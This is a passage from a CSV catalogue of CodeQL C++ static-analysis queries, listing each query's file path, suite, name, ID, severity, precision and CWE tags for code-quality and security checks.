variable,cpp/local-variable-hides-global-variable,problem,warning,very-high,maintainability readability -ql\cpp\ql\src\Best Practices\Likely Errors\EmptyBlock.ql,security-and-quality,Empty branch of conditional,cpp/empty-block,problem,recommendation,very-high,reliability readability -ql\cpp\ql\src\Best Practices\Likely Errors\Slicing.ql,security-and-quality,Slicing,cpp/slicing,problem,warning,high,reliability correctness types -ql\cpp\ql\src\Best Practices\RuleOfTwo.ql,security-and-quality,Inconsistent definition of copy constructor and assignment ('Rule of Two'),cpp/rule-of-two,problem,warning,high,reliability readability language-features -ql\cpp\ql\src\Best Practices\SloppyGlobal.ql,security-and-quality,Short global name,cpp/short-global-name,problem,recommendation,very-high,maintainability -ql\cpp\ql\src\Best Practices\SwitchLongCase.ql,security-and-quality,Long switch case,cpp/long-switch,problem,recommendation,high,maintainability readability -ql\cpp\ql\src\Best Practices\Unused Entities\UnusedLocals.ql,security-and-quality,Unused local variable,cpp/unused-local-variable,problem,recommendation,high,maintainability useless-code external/cwe/cwe-563 -ql\cpp\ql\src\Best Practices\Unused Entities\UnusedStaticFunctions.ql,security-and-quality,Unused static function,cpp/unused-static-function,problem,recommendation,high,efficiency useless-code external/cwe/cwe-561 -ql\cpp\ql\src\Best Practices\Unused Entities\UnusedStaticVariables.ql,security-and-quality,Unused static variable,cpp/unused-static-variable,problem,recommendation,high,efficiency useless-code external/cwe/cwe-563 -ql\cpp\ql\src\Best Practices\UseOfGoto.ql,security-and-quality,Use of goto,cpp/use-of-goto,problem,warning,high,maintainability readability language-features -ql\cpp\ql\src\Critical\DeadCodeGoto.ql,security-and-quality,Dead code due to goto or break statement,cpp/dead-code-goto,problem,warning,high,maintainability external/cwe/cwe-561 -ql\cpp\ql\src\Critical\LargeParameter.ql,security-and-quality,Large object passed by value,cpp/large-parameter,problem,recommendation,very-high,efficiency readability statistical non-attributable -ql\cpp\ql\src\Critical\NewArrayDeleteMismatch.ql,security-and-quality,'new[]' array freed with 'delete',cpp/new-array-delete-mismatch,problem,warning,high,reliability -ql\cpp\ql\src\Critical\NewDeleteArrayMismatch.ql,security-and-quality,'new' object freed with 'delete[]',cpp/new-delete-array-mismatch,problem,warning,high,reliability -ql\cpp\ql\src\Critical\NewFreeMismatch.ql,security-and-quality,Mismatching new/free or malloc/delete,cpp/new-free-mismatch,problem,warning,high,reliability security external/cwe/cwe-401 -ql\cpp\ql\src\Documentation\CommentedOutCode.ql,security-and-quality,Commented-out code,cpp/commented-out-code,problem,recommendation,high,maintainability documentation -ql\cpp\ql\src\Documentation\FixmeComments.ql,security-and-quality,FIXME comment,cpp/fixme-comment,problem,recommendation,very-high,maintainability documentation external/cwe/cwe-546 -ql\cpp\ql\src\Header Cleanup\Cleanup-DuplicateIncludeGuard.ql,security-and-quality,Duplicate include guard,cpp/duplicate-include-guard,problem,error,high,reliability maintainability modularity -ql\cpp\ql\src\jsf\4.06 Pre-Processing Directives\AV Rule 32.ql,security-and-quality,Include header files only,cpp/include-non-header,problem,recommendation,high,maintainability modularity readability external/jsf -ql\cpp\ql\src\jsf\4.07 Header Files\AV Rule 35.ql,security-and-quality,Missing header guard,cpp/missing-header-guard,problem,warning,high,efficiency maintainability modularity external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 71.1.ql,security-and-quality,Virtual call from constructor or destructor,cpp/virtual-call-in-constructor,problem,warning,high,reliability readability language-features external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 79.ql,security-and-quality,Resource not released in destructor,cpp/resource-not-released-in-destructor,problem,warning,high,efficiency readability external/cwe/cwe-404 external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 82.ql,security-and-quality,Overloaded assignment does not return 'this',cpp/assignment-does-not-return-this,problem,warning,high,reliability readability language-features external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 88.ql,security-and-quality,Undisciplined multiple inheritance,cpp/undisciplined-multiple-inheritance,problem,recommendation,high,maintainability readability external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 89.ql,security-and-quality,Inconsistent virtual inheritance,cpp/inconsistent-virtual-inheritance,problem,error,high,maintainability readability external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 95.ql,security-and-quality,Redefined default parameter,cpp/redefined-default-parameter,problem,error,high,maintainability readability external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 97.ql,security-and-quality,No raw arrays in interfaces,cpp/array-in-interface,problem,recommendation,high,reliability readability language-features external/jsf -ql\cpp\ql\src\jsf\4.13 Functions\AV Rule 107.ql,security-and-quality,Function declared in block,cpp/function-in-block,problem,recommendation,very-high,maintainability readability external/jsf -ql\cpp\ql\src\jsf\4.13 Functions\AV Rule 114.ql,security-and-quality,Missing return statement,cpp/missing-return,problem,error,high,reliability readability language-features external/jsf -ql\cpp\ql\src\jsf\4.16 Initialization\AV Rule 145.ql,security-and-quality,Irregular enum initialization,cpp/irregular-enum-init,problem,recommendation,high,reliability readability language-features external/jsf -ql\cpp\ql\src\jsf\4.21 Operators\AV Rule 166.ql,security-and-quality,Sizeof with side effects,cpp/sizeof-side-effect,problem,recommendation,high,reliability correctness external/jsf -ql\cpp\ql\src\jsf\4.24 Control Flow Structures\AV Rule 196.ql,security-and-quality,No trivial switch statements,cpp/trivial-switch,problem,recommendation,high,maintainability readability external/jsf -ql\cpp\ql\src\jsf\4.24 Control Flow Structures\AV Rule 197.ql,security-and-quality,Avoid floats in for loops,cpp/loop-variable-float,problem,recommendation,high,correctness reliability external/jsf -ql\cpp\ql\src\jsf\4.24 Control Flow Structures\AV Rule 201.ql,security-and-quality,For loop variable changed in body,cpp/loop-variable-changed,problem,recommendation,high,reliability readability external/jsf -ql\cpp\ql\src\Likely Bugs\AmbiguouslySignedBitField.ql,security-and-quality,Ambiguously signed bit-field member,cpp/ambiguously-signed-bit-field,problem,warning,high,reliability readability language-features external/cwe/cwe-190 -ql\cpp\ql\src\Likely Bugs\Arithmetic\BadAdditionOverflowCheck.ql,security-and-quality,Bad check for overflow of integer addition,cpp/bad-addition-overflow-check,problem,error,very-high,reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 -ql\cpp\ql\src\Likely Bugs\Arithmetic\BitwiseSignCheck.ql,security-and-quality,Sign check of bitwise operation,cpp/bitwise-sign-check,problem,warning,high,reliability correctness -ql\cpp\ql\src\Likely Bugs\Arithmetic\ComparisonPrecedence.ql,security-and-quality,Unclear comparison precedence,cpp/comparison-precedence,problem,warning,very-high,maintainability readability -ql\cpp\ql\src\Likely Bugs\Arithmetic\FloatComparison.ql,security-and-quality,Equality test on floating-point values,cpp/equality-on-floats,problem,recommendation,high,reliability correctness -ql\cpp\ql\src\Likely Bugs\Arithmetic\IntMultToLong.ql,security-and-quality,Multiplication result converted to larger type,cpp/integer-multiplication-cast-to-long,problem,warning,high,reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 -ql\cpp\ql\src\Likely Bugs\Arithmetic\PointlessComparison.ql,security-and-quality,Comparison result is always the same,cpp/constant-comparison,problem,warning,high,maintainability readability -ql\cpp\ql\src\Likely Bugs\Arithmetic\PointlessSelfComparison.ql,security-and-quality,Self comparison,cpp/comparison-of-identical-expressions,problem,warning,high,readability maintainability -ql\cpp\ql\src\Likely Bugs\Arithmetic\SignedOverflowCheck.ql,security-and-quality,Signed overflow check,cpp/signed-overflow-check,problem,warning,high,correctness security -ql\cpp\ql\src\Likely Bugs\Arithmetic\UnsignedGEZero.ql,security-and-quality,Unsigned comparison to zero,cpp/unsigned-comparison-zero,problem,warning,very-high,maintainability readability -ql\cpp\ql\src\Likely Bugs\ContinueInFalseLoop.ql,security-and-quality,Continue statement that does not continue,cpp/continue-in-false-loop,problem,warning,high,correctness -ql\cpp\ql\src\Likely Bugs\Conversion\ArrayArgSizeMismatch.ql,security-and-quality,Array argument size mismatch,cpp/array-arg-size-mismatch,problem,warning,high,reliability -ql\cpp\ql\src\Likely Bugs\Conversion\CastArrayPointerArithmetic.ql,security-and-quality,Upcast array used in pointer arithmetic,cpp/upcast-array-pointer-arithmetic,path-problem,warning,high,correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 -ql\cpp\ql\src\Likely Bugs\Conversion\ImplicitDowncastFromBitfield.ql,security-and-quality,Implicit downcast from bitfield,cpp/implicit-bitfield-downcast,problem,warning,high,reliability correctness types -ql\cpp\ql\src\Likely Bugs\Conversion\LossyPointerCast.ql,security-and-quality,Lossy pointer cast,cpp/lossy-pointer-cast,problem,warning,high,reliability correctness types -ql\cpp\ql\src\Likely Bugs\Format\NonConstantFormat.ql,security-and-quality,Non-constant format string,cpp/non-constant-format,problem,recommendation,high,maintainability correctness security external/cwe/cwe-134 -ql\cpp\ql\src\Likely Bugs\Format\SnprintfOverflow.ql,security-and-quality,Potentially overflowing call to snprintf,cpp/overflowing-snprintf,problem,warning,high,reliability correctness security -ql\cpp\ql\src\Likely Bugs\Format\TooManyFormatArguments.ql,security-and-quality,Too many arguments to formatting function,cpp/too-many-format-arguments,problem,recommendation,high,reliability correctness -ql\cpp\ql\src\Likely Bugs\Format\WrongNumberOfFormatArguments.ql,security-and-quality,Too few arguments to formatting function,cpp/wrong-number-format-arguments,problem,error,high,reliability correctness security external/cwe/cwe-685 -ql\cpp\ql\src\Likely Bugs\Format\WrongTypeFormatArguments.ql,security-and-quality,Wrong type of arguments to formatting function,cpp/wrong-type-format-argument,problem,error,high,reliability correctness security external/cwe/cwe-686 -ql\cpp\ql\src\Likely Bugs\Likely Typos\AssignWhereCompareMeant.ql,security-and-quality,Assignment where comparison was intended,cpp/assign-where-compare-meant,problem,error,high,reliability correctness external/cwe/cwe-481 -ql\cpp\ql\src\Likely Bugs\Likely Typos\CompareWhereAssignMeant.ql,security-and-quality,Comparison where assignment was intended,cpp/compare-where-assign-meant,problem,error,high,reliability correctness external/cwe/cwe-482 -ql\cpp\ql\src\Likely Bugs\Likely Typos\DubiousNullCheck.ql,security-and-quality,Dubious NULL check,cpp/dubious-null-check,problem,warning,very-high,reliability readability -ql\cpp\ql\src\Likely Bugs\Likely Typos\ExprHasNoEffect.ql,security-and-quality,Expression has no effect,cpp/useless-expression,problem,warning,high,maintainability correctness external/cwe/cwe-561 -ql\cpp\ql\src\Likely Bugs\Likely Typos\FutileConditional.ql,security-and-quality,Futile conditional,cpp/empty-if,problem,recommendation,high,reliability readability -ql\cpp\ql\src\Likely Bugs\Likely Typos\inconsistentLoopDirection.ql,security-and-quality,Inconsistent direction of for loop,cpp/inconsistent-loop-direction,problem,error,high,correctness external/cwe/cwe-835 external/microsoft/6293 -ql\cpp\ql\src\Likely Bugs\Likely Typos\ShortCircuitBitMask.ql,security-and-quality,Short-circuiting operator applied to flag,cpp/logical-operator-applied-to-flag,problem,warning,high,reliability correctness external/cwe/cwe-480 -ql\cpp\ql\src\Likely Bugs\Likely Typos\UsingStrcpyAsBoolean.ql,security-and-quality,Use of string copy function in a condition,cpp/string-copy-return-value-as-boolean,problem,error,high,external/microsoft/C6324 correctness -ql\cpp\ql\src\Likely Bugs\Memory Management\AllocaInLoop.ql,security-and-quality,Call to alloca in a loop,cpp/alloca-in-loop,problem,warning,high,reliability correctness security external/cwe/cwe-770 -ql\cpp\ql\src\Likely Bugs\Memory Management\PointerOverflow.ql,security-and-quality,Pointer overflow check,cpp/pointer-overflow-check,problem,error,high,reliability security -ql\cpp\ql\src\Likely Bugs\Memory Management\ReturnCstrOfLocalStdString.ql,security-and-quality,Return c_str of local std::string,cpp/return-c-str-of-std-string,problem,warning,high,reliability correctness -ql\cpp\ql\src\Likely Bugs\Memory Management\ReturnStackAllocatedMemory.ql,security-and-quality,Returning stack-allocated memory,cpp/return-stack-allocated-memory,problem,warning,high,reliability external/cwe/cwe-825 -ql\cpp\ql\src\Likely Bugs\OO\IncorrectConstructorDelegation.ql,security-and-quality,Incorrect constructor delegation,cpp/constructor-delegation,problem,warning,high,maintainability readability language-features -ql\cpp\ql\src\Likely Bugs\OO\NonVirtualDestructorInBaseClass.ql,security-and-quality,Non-virtual destructor in base class,cpp/virtual-destructor,problem,warning,high,reliability readability language-features -ql\cpp\ql\src\Likely Bugs\OO\ThrowInDestructor.ql,security-and-quality,Exception thrown in destructor,cpp/throw-in-destructor,problem,warning,very-high,reliability readability language-features -ql\cpp\ql\src\Likely Bugs\ReturnConstType.ql,security-and-quality,Constant return type,cpp/non-member-const-no-effect,problem,warning,very-high,maintainability readability language-features -ql\cpp\ql\src\Likely Bugs\ReturnConstTypeMember.ql,security-and-quality,Constant return type on member,cpp/member-const-no-effect,problem,warning,very-high,maintainability readability language-features -ql\cpp\ql\src\Likely Bugs\Underspecified Functions\ImplicitFunctionDeclaration.ql,security-and-quality,Implicit function declaration,cpp/implicit-function-declaration,problem,warning,high,correctness maintainability -ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooFewArguments.ql,security-and-quality,Call to function with fewer arguments than declared parameters,cpp/too-few-arguments,problem,error,very-high,correctness maintainability security -ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooManyArguments.ql,security-and-quality,Call to function with extraneous arguments,cpp/futile-params,problem,warning,very-high,correctness maintainability -ql\cpp\ql\src\Likely Bugs\UseInOwnInitializer.ql,security-and-quality,Variable used in its own initializer,cpp/use-in-own-initializer,problem,warning,high,maintainability correctness -ql\cpp\ql\src\Security\CWE\CWE-079\CgiXss.ql,security-and-quality,CGI script vulnerable to cross-site scripting,cpp/cgi-xss,path-problem,error,high,security external/cwe/cwe-079 -ql\cpp\ql\src\Security\CWE\CWE-089\SqlTainted.ql,security-and-quality,Uncontrolled data in SQL query,cpp/sql-injection,path-problem,error,high,security external/cwe/cwe-089 -ql\cpp\ql\src\Security\CWE\CWE-120\BadlyBoundedWrite.ql,security-and-quality,Badly bounded write,cpp/badly-bounded-write,problem,error,high,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 -ql\cpp\ql\src\Security\CWE\CWE-131\NoSpaceForZeroTerminator.ql,security-and-quality,No space for zero terminator,cpp/no-space-for-terminator,problem,error,high,reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 -ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatString.ql,security-and-quality,Uncontrolled format string,cpp/tainted-format-string,path-problem,warning,high,reliability security external/cwe/cwe-134 -ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatStringThroughGlobalVar.ql,security-and-quality,Uncontrolled format string (through global variable),cpp/tainted-format-string-through-global,path-problem,warning,high,reliability security external/cwe/cwe-134 -ql\cpp\ql\src\Security\CWE\CWE-190\ComparisonWithWiderType.ql,security-and-quality,Comparison of narrow type with wide type in loop condition,cpp/comparison-with-wider-type,problem,warning,high,reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 -ql\cpp\ql\src\Security\CWE\CWE-190\TaintedAllocationSize.ql,security-and-quality,Overflow in uncontrolled allocation size,cpp/uncontrolled-allocation-size,path-problem,error,high,reliability security external/cwe/cwe-190 -ql\cpp\ql\src\Security\CWE\CWE-253\HResultBooleanConversion.ql,security-and-quality,Cast between HRESULT and a Boolean type,cpp/hresult-boolean-conversion,problem,error,high,security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 -ql\cpp\ql\src\Security\CWE\CWE-327\OpenSslHeartbleed.ql,security-and-quality,Use of a version of OpenSSL with Heartbleed,cpp/openssl-heartbleed,problem,error,very-high,security external/cwe/cwe-327 external/cwe/cwe-788 -ql\cpp\ql\src\Security\CWE\CWE-468\SuspiciousAddWithSizeof.ql,security-and-quality,Suspicious add with sizeof,cpp/suspicious-add-sizeof,problem,warning,high,security external/cwe/cwe-468 -ql\cpp\ql\src\Security\CWE\CWE-676\DangerousFunctionOverflow.ql,security-and-quality,Use of dangerous function,cpp/dangerous-function-overflow,problem,error,very-high,reliability security external/cwe/cwe-242 -ql\cpp\ql\src\Security\CWE\CWE-676\DangerousUseOfCin.ql,security-and-quality,Dangerous use of 'cin',cpp/dangerous-cin,problem,error,high,reliability security external/cwe/cwe-676 -ql\cpp\ql\src\Security\CWE\CWE-676\PotentiallyDangerousFunction.ql,security-and-quality,Use of potentially dangerous function,cpp/potentially-dangerous-function,problem,warning,high,reliability security external/cwe/cwe-676 -ql\cpp\ql\src\Security\CWE\CWE-704\WcharCharConversion.ql,security-and-quality,Cast from char* to wchar_t*,cpp/incorrect-string-type-conversion,problem,error,high,security external/cwe/cwe-704 external/microsoft/c/c6276 -ql\cpp\ql\src\Security\CWE\CWE-732\UnsafeDaclSecurityDescriptor.ql,security-and-quality,Setting a DACL to NULL in a SECURITY_DESCRIPTOR,cpp/unsafe-dacl-security-descriptor,problem,error,high,security external/cwe/cwe-732 external/microsoft/C6248 -ql\cpp\ql\src\Best Practices\Likely Errors\OffsetUseBeforeRangeCheck.ql,security-and-quality,Array offset used before range check,cpp/offset-use-before-range-check,problem,warning,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-125 -ql\cpp\ql\src\Critical\OverflowStatic.ql,security-and-quality,Static array access may cause overflow,cpp/static-buffer-overflow,problem,warning,medium,reliability security external/cwe/cwe-119 external/cwe/cwe-131 -ql\cpp\ql\src\Critical\SizeCheck.ql,security-and-quality,Not enough memory allocated for pointer type,cpp/allocation-too-small,problem,warning,medium,reliability security external/cwe/cwe-131 external/cwe/cwe-122 -ql\cpp\ql\src\Critical\SizeCheck2.ql,security-and-quality,Not enough memory allocated for array of pointer type,cpp/suspicious-allocation-size,problem,warning,medium,reliability security external/cwe/cwe-131 external/cwe/cwe-122 -ql\cpp\ql\src\Documentation\UncommentedFunction.ql,security-and-quality,Poorly documented large function,cpp/poorly-documented-function,problem,warning,medium,maintainability documentation statistical non-attributable -ql\cpp\ql\src\jsf\4.17 Types\AV Rule 148.ql,security-and-quality,Use of integer where enum is preferred,cpp/integer-used-for-enum,problem,warning,medium,maintainability readability language-features external/jsf -ql\cpp\ql\src\Likely Bugs\Arithmetic\BadCheckOdd.ql,security-and-quality,Bad check for oddness,cpp/incomplete-parity-check,problem,warning,medium,reliability correctness types -ql\cpp\ql\src\Likely Bugs\Conversion\LossyFunctionResultCast.ql,security-and-quality,Lossy function result cast,cpp/lossy-function-result-cast,problem,warning,medium,correctness -ql\cpp\ql\src\Likely Bugs\InconsistentCallOnResult.ql,security-and-quality,Inconsistent operation on return value,cpp/inconsistent-call-on-result,problem,warning,medium,reliability correctness statistical non-attributable external/cwe/cwe-252 -ql\cpp\ql\src\Likely Bugs\InconsistentCheckReturnNull.ql,security-and-quality,Inconsistent nullness check,cpp/inconsistent-null-check,problem,error,medium,reliability correctness statistical non-attributable external/cwe/cwe-476 -ql\cpp\ql\src\Likely Bugs\Leap Year\Adding365DaysPerYear.ql,security-and-quality,Arithmetic operation assumes 365 days per year,cpp/leap-year/adding-365-days-per-year,problem,warning,medium,leap-year correctness -ql\cpp\ql\src\Likely Bugs\Leap Year\UncheckedLeapYearAfterYearModification.ql,security-and-quality,Year field changed using an arithmetic operation without checking for leap year,cpp/leap-year/unchecked-after-arithmetic-year-modification,problem,warning,medium,leap-year correctness -ql\cpp\ql\src\Likely Bugs\Leap Year\UncheckedReturnValueForTimeFunctions.ql,security-and-quality,Unchecked return value for time conversion function,cpp/leap-year/unchecked-return-value-for-time-conversion-function,problem,warning,medium,leap-year correctness -ql\cpp\ql\src\Likely Bugs\Likely Typos\IncorrectNotOperatorUsage.ql,security-and-quality,Incorrect 'not' operator usage,cpp/incorrect-not-operator-usage,problem,warning,medium,security external/cwe/cwe-480 external/microsoft/c6317 -ql\cpp\ql\src\Likely Bugs\Likely Typos\MissingEnumCaseInSwitch.ql,security-and-quality,Missing enum case in switch,cpp/missing-case-in-switch,problem,warning,medium,reliability correctness external/cwe/cwe-478 -ql\cpp\ql\src\Likely Bugs\Memory Management\StackAddressEscapes.ql,security-and-quality,Local variable address stored in non-local memory,cpp/stack-address-escape,problem,warning,medium,reliability -ql\cpp\ql\src\Likely Bugs\Memory Management\StrncpyFlippedArgs.ql,security-and-quality,Possibly wrong buffer size in string copy,cpp/bad-strncpy-size,problem,warning,medium,reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 -ql\cpp\ql\src\Likely Bugs\Memory Management\SuspiciousCallToStrncat.ql,security-and-quality,Potentially unsafe call to strncat,cpp/unsafe-strncat,problem,warning,medium,reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 -ql\cpp\ql\src\Likely Bugs\Memory Management\SuspiciousSizeof.ql,security-and-quality,Suspicious 'sizeof' use,cpp/suspicious-sizeof,problem,warning,medium,reliability correctness security external/cwe/cwe-467 -ql\cpp\ql\src\Likely Bugs\Memory Management\UninitializedLocal.ql,security-and-quality,Potentially uninitialized local variable,cpp/uninitialized-local,problem,warning,medium,security external/cwe/cwe-665 external/cwe/cwe-457 -ql\cpp\ql\src\Likely Bugs\Memory Management\UnsafeUseOfStrcat.ql,security-and-quality,Potentially unsafe use of strcat,cpp/unsafe-strcat,problem,warning,medium,reliability correctness security external/cwe/cwe-676 external/cwe/cwe-120 external/cwe/cwe-251 -ql\cpp\ql\src\Likely Bugs\NestedLoopSameVar.ql,security-and-quality,Nested loops with same variable,cpp/nested-loops-with-same-variable,problem,warning,medium,maintainability correctness -ql\cpp\ql\src\Likely Bugs\Underspecified Functions\MistypedFunctionArguments.ql,security-and-quality,Call to a function with one or more incompatible arguments,cpp/mistyped-function-arguments,problem,warning,medium,correctness maintainability -ql\cpp\ql\src\Security\CWE\CWE-022\TaintedPath.ql,security-and-quality,Uncontrolled data used in path expression,cpp/path-injection,path-problem,warning,medium,security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 -ql\cpp\ql\src\Security\CWE\CWE-114\UncontrolledProcessOperation.ql,security-and-quality,Uncontrolled process operation,cpp/uncontrolled-process-operation,path-problem,warning,medium,security external/cwe/cwe-114 -ql\cpp\ql\src\Security\CWE\CWE-120\OverrunWrite.ql,security-and-quality,Potentially overrunning write,cpp/overrunning-write,problem,error,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 -ql\cpp\ql\src\Security\CWE\CWE-120\OverrunWriteFloat.ql,security-and-quality,Potentially overrunning write with float to string conversion,cpp/overrunning-write-with-float,problem,error,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 -ql\cpp\ql\src\Security\CWE\CWE-120\UnboundedWrite.ql,security-and-quality,Unbounded write,cpp/unbounded-write,path-problem,error,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 -ql\cpp\ql\src\Security\CWE\CWE-121\UnterminatedVarargsCall.ql,security-and-quality,Unterminated variadic call,cpp/unterminated-variadic-call,problem,warning,medium,reliability security external/cwe/cwe-121 -ql\cpp\ql\src\Security\CWE\CWE-190\ArithmeticUncontrolled.ql,security-and-quality,Uncontrolled data in arithmetic expression,cpp/uncontrolled-arithmetic,path-problem,warning,medium,security external/cwe/cwe-190 external/cwe/cwe-191 -ql\cpp\ql\src\Security\CWE\CWE-290\AuthenticationBypass.ql,security-and-quality,Authentication bypass by spoofing,cpp/user-controlled-bypass,path-problem,warning,medium,security external/cwe/cwe-290 -ql\cpp\ql\src\Security\CWE\CWE-311\CleartextBufferWrite.ql,security-and-quality,Cleartext storage of sensitive information in buffer,cpp/cleartext-storage-buffer,path-problem,warning,medium,security external/cwe/cwe-312 -ql\cpp\ql\src\Security\CWE\CWE-311\CleartextFileWrite.ql,security-and-quality,Cleartext storage of sensitive information in file,cpp/cleartext-storage-file,problem,warning,medium,security external/cwe/cwe-313 -ql\cpp\ql\src\Security\CWE\CWE-313\CleartextSqliteDatabase.ql,security-and-quality,Cleartext storage of sensitive information in an SQLite database,cpp/cleartext-storage-database,path-problem,warning,medium,security external/cwe/cwe-313 -ql\cpp\ql\src\Security\CWE\CWE-327\BrokenCryptoAlgorithm.ql,security-and-quality,Use of a broken or risky cryptographic algorithm,cpp/weak-cryptographic-algorithm,problem,error,medium,security external/cwe/cwe-327 -ql\cpp\ql\src\Security\CWE\CWE-367\TOCTOUFilesystemRace.ql,security-and-quality,Time-of-check time-of-use filesystem race condition,cpp/toctou-race-condition,problem,warning,medium,security external/cwe/cwe-367 -ql\cpp\ql\src\Security\CWE\CWE-428\UnsafeCreateProcessCall.ql,security-and-quality,NULL application name with an unquoted path in call to CreateProcess,cpp/unsafe-create-process-call,problem,error,medium,security external/cwe/cwe-428 external/microsoft/C6277 -ql\cpp\ql\src\Security\CWE\CWE-468\IncorrectPointerScaling.ql,security-and-quality,Suspicious pointer scaling,cpp/suspicious-pointer-scaling,problem,warning,medium,security external/cwe/cwe-468 -ql\cpp\ql\src\Security\CWE\CWE-468\IncorrectPointerScalingVoid.ql,security-and-quality,Suspicious pointer scaling to void,cpp/suspicious-pointer-scaling-void,problem,warning,medium,security external/cwe/cwe-468 -ql\cpp\ql\src\Security\CWE\CWE-732\DoNotCreateWorldWritable.ql,security-and-quality,File created without restricting permissions,cpp/world-writable-file-creation,problem,warning,medium,security external/cwe/cwe-732 -ql\cpp\ql\src\Security\CWE\CWE-807\TaintedCondition.ql,security-and-quality,Untrusted input for a condition,cpp/tainted-permissions-check,path-problem,warning,medium,security external/cwe/cwe-807 -ql\cpp\ql\src\Critical\NewFreeMismatch.ql,security-extended,Mismatching new/free or malloc/delete,cpp/new-free-mismatch,problem,warning,high,reliability security external/cwe/cwe-401 -ql\cpp\ql\src\Likely Bugs\Arithmetic\BadAdditionOverflowCheck.ql,security-extended,Bad check for overflow of integer addition,cpp/bad-addition-overflow-check,problem,error,very-high,reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 -ql\cpp\ql\src\Likely Bugs\Arithmetic\IntMultToLong.ql,security-extended,Multiplication result converted to larger type,cpp/integer-multiplication-cast-to-long,problem,warning,high,reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 -ql\cpp\ql\src\Likely Bugs\Arithmetic\SignedOverflowCheck.ql,security-extended,Signed overflow check,cpp/signed-overflow-check,problem,warning,high,correctness security -ql\cpp\ql\src\Likely Bugs\Conversion\CastArrayPointerArithmetic.ql,security-extended,Upcast array used in pointer arithmetic,cpp/upcast-array-pointer-arithmetic,path-problem,warning,high,correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 -ql\cpp\ql\src\Likely Bugs\Format\NonConstantFormat.ql,security-extended,Non-constant format string,cpp/non-constant-format,problem,recommendation,high,maintainability correctness security external/cwe/cwe-134 -ql\cpp\ql\src\Likely Bugs\Format\SnprintfOverflow.ql,security-extended,Potentially overflowing call to snprintf,cpp/overflowing-snprintf,problem,warning,high,reliability correctness security -ql\cpp\ql\src\Likely Bugs\Format\WrongNumberOfFormatArguments.ql,security-extended,Too few arguments to formatting function,cpp/wrong-number-format-arguments,problem,error,high,reliability correctness security external/cwe/cwe-685 -ql\cpp\ql\src\Likely Bugs\Format\WrongTypeFormatArguments.ql,security-extended,Wrong type of arguments to formatting function,cpp/wrong-type-format-argument,problem,error,high,reliability correctness security external/cwe/cwe-686 -ql\cpp\ql\src\Likely Bugs\Memory Management\AllocaInLoop.ql,security-extended,Call to alloca in a loop,cpp/alloca-in-loop,problem,warning,high,reliability correctness security external/cwe/cwe-770 -ql\cpp\ql\src\Likely Bugs\Memory Management\PointerOverflow.ql,security-extended,Pointer overflow check,cpp/pointer-overflow-check,problem,error,high,reliability security -ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooFewArguments.ql,security-extended,Call to function with fewer arguments than declared parameters,cpp/too-few-arguments,problem,error,very-high,correctness maintainability security -ql\cpp\ql\src\Security\CWE\CWE-079\CgiXss.ql,security-extended,CGI script vulnerable to cross-site scripting,cpp/cgi-xss,path-problem,error,high,security external/cwe/cwe-079 -ql\cpp\ql\src\Security\CWE\CWE-089\SqlTainted.ql,security-extended,Uncontrolled data in SQL query,cpp/sql-injection,path-problem,error,high,security external/cwe/cwe-089 -ql\cpp\ql\src\Security\CWE\CWE-120\BadlyBoundedWrite.ql,security-extended,Badly bounded write,cpp/badly-bounded-write,problem,error,high,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 -ql\cpp\ql\src\Security\CWE\CWE-131\NoSpaceForZeroTerminator.ql,security-extended,No space for zero terminator,cpp/no-space-for-terminator,problem,error,high,reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 -ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatString.ql,security-extended,Uncontrolled format string,cpp/tainted-format-string,path-problem,warning,high,reliability security external/cwe/cwe-134 -ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatStringThroughGlobalVar.ql,security-extended,Uncontrolled format string (through global variable),cpp/tainted-format-string-through-global,path-problem,warning,high,reliability security external/cwe/cwe-134 -ql\cpp\ql\src\Security\CWE\CWE-190\ComparisonWithWiderType.ql,security-extended,Comparison of narrow type with wide type in loop condition,cpp/comparison-with-wider-type,problem,warning,high,reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 -ql\cpp\ql\src\Security\CWE\CWE-190\TaintedAllocationSize.ql,security-extended,Overflow in uncontrolled allocation size,cpp/uncontrolled-allocation-size,path-problem,error,high,reliability security external/cwe/cwe-190 -ql\cpp\ql\src\Security\CWE\CWE-253\HResultBooleanConversion.ql,security-extended,Cast between HRESULT and a Boolean type,cpp/hresult-boolean-conversion,problem,error,high,security external/cwe/cwe-253 external/microsoft/C6214 